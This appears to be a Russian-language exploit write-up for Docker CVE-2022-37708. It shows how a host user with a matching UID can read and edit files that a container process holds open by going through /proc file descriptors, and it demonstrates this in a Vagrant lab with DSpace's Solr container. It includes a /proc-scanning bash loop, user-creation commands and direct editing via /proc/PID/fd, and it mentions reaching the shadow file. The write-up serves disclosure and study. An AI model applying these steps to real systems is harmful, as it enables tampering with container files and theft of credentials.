
Docker CVE-2022-37708
Docker CVE-2022-37708.
Этот эксплойт основан на том, как файловая система UNIX использует UID и GID для файлов, которые Docker разделяет между хостом, на котором работает Docker, и клиентом, работающим внутри Docker, а также на природе того, как работает владение идентификаторами процессов.
Это можно сделать практически на любом языке, предоставляющем доступ к файловым дескрипторам. Директория /proc/ позволяет это сделать, что делает задачу очень лёгкой с помощью команд оболочки.
Рассмотрим компьютер, предоставляющий услуги электронной почты для нескольких пользователей. Этот почтовый сервис работает внутри самодостаточного дистрибутива, запущенного в Docker на хосте. Самодостаточный дистрибутив считается «клиентской системой». Система, на которой работает Docker, считается «хостовой системой». На «хостовой системе» есть разные сервисы, такие как «DBUS» для предоставления шины сообщений. По соображениям безопасности шина сообщений «DBUS» работает как непривилегированный пользователь «messagebus» с UID 123. Пользователь «messagebus» не имеет доступа к Docker и к «клиентской системе». По соображениям безопасности «клиентская система» запускает обработку электронной почты как непривилегированный пользователь «emailservice» с UID 123.
Обратите внимание, что я назначил «messagebus» UID 123, а также «emailservice» UID 123. Обычно это не проблема, поскольку это две отдельные системы («клиентская система» и «хостовая система»), и их UID и сопоставления пользователей не связаны друг с другом.
Если в какой-то момент «emailservice» открывает случайное письмо для обработки, «messagebus» получает возможность как видеть, так и редактировать этот файл. Поскольку пользователь «messagebus» полностью находится вне «клиентской системы», «клиентская система» никогда не узнает, что этот файл потенциально читается и записывается.
Это может быть ещё более опасно, если «emailservice» читает теневой файл системы для проверки комбинации имени пользователя и пароля. Тогда «messagebus» получает полный доступ на чтение и запись к теневому файлу внутри «клиентской системы» на время, пока этот файл открыт в «клиентской системе».
Простой способ выполнить эксплойт — это «дозвониться по PID» через директорию /proc/ для поиска файлов PID.
Простой bash-скрипт в бесконечном цикле может периодически искать открытые файлы.
for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done
Есть две критические части эксплойта, которые затрудняют его использование.
Для первого случая можно использовать бесконечный цикл и магию скриптов. Для второго случая специально подготовленный дистрибутив или хорошо известный дистрибутив могут исключить элемент удачи. Если в системе есть предопределённые UID, то можно предсказать, какой UID нужен вне «клиентской системы».
Использование виртуальной машины Vagrant Debian-10 (Buster) в качестве «хостовой системы» для тестирования эксплойта:
Vagrant.configure("2") do |config|
config.vm.box = "generic/debian10"
config.vm.provider "virtualbox" do |vb|
vb.memory = 4096
vb.cpus = 2
vb.name = "Wargames"
end
config.vm.synced_folder "/tmp/files", "/host"
end
Внутри «хостовой системы» получите последнюю версию Docker и следуйте инструкциям здесь:
Пример «клиентской системы» — это продукт с открытым исходным кодом, размещённый на Github, под названием DSpace, который предоставляет файл docker-compose:
Теперь клонируйте DSpace и запустите docker compose:
# git clone https://github.com/DSpace/DSpace.git
# cd DSpace
# docker compose up
В этом проекте создаётся несколько образов, но давайте сосредоточимся на «dspace_solr_data».
Подтвердим, что обход каталогов защищён:
# sudo ls -ld /var/lib/docker
drwx--x--- 15 root root 4096 May 6 13:49 /var/lib/docker
Посмотрим на файл, который мы хотим эксплуатировать:
# sudo find /var/lib/docker/volumes/ -name solr.xml
/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Это говорит нам о том, что нашему удачливому пользователю нужно иметь UID 8983, чтобы иметь возможность использовать этот эксплойт.
Создадим этого удачливого пользователя и назовём его «Lightman».
# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman
Теперь посмотрим на эти файлы:
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Чтобы Lightman мог использовать этот эксплойт, недостаточно просто владеть файлами — какой-то процесс ВНУТРИ «клиентской системы» должен держать файл открытым.
Для целей демонстрации этого эксплойта мы будем использовать tail -F для файла solr.xml внутри «клиентской системы».
Сделайте это в отдельном терминале, войдя в «хостовую систему» как пользователь vagrant.
Найдите правильный контейнер:
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
...
c4b06050ef46 solr:8.11-slim "/bin/bash -c 'init-…" 11 minutes ago Up 11 minutes 0.0.0.0:8983->8983/tcp dspacesolr
Теперь подключитесь к solr:8.11-slim.
# docker run -it solr:8.11-slim bash
# id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
Пользователь solr действительно имеет UID 8983.
Теперь откройте файл solr.xml и держите его открытым.
# tail -F /var/solr/data/solr.xml
Отлично, всё настроено для того, чтобы пользователь Lightman мог «дозвониться» до файловых дескрипторов.
В отдельном терминале, войдя в «хостовую систему» как пользователь vagrant, переключитесь на пользователя Lightman.
# sudo su - Lightman
# id
uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman)
Используйте /proc для дозвона до всех открытых файловых дескрипторов:
# ls /proc/*/fd/* -ld
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/2 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12622/fd/255 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/2 -> /dev/pts/0
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/10 -> /dev/tty
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3
Как видите, у нас есть два совпадения:
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
Обратите внимание, что путь /var/solr/data/solr.xml на самом деле не существует в «хостовой системе».
Внимательно следите за терминалом, на котором вы запустили tail -F, когда будете это делать.
Отредактируйте файл, открыв его напрямую через путь proc:
# vim /proc/12683/fd/3
Я перехожу в конец файла, пишу «Hello World» и сохраняю изменения. Вы должны увидеть, что внутри «клиентской системы» файл также обновлён.
Lightman успешно отредактировал файл, к которому у него нет ни надлежащего доступа на чтение/запись, ни возможности обхода каталогов. Файл на самом деле находится внутри клиента Docker, работающего под другим дистрибутивом, в котором нет пользователя «Lightman».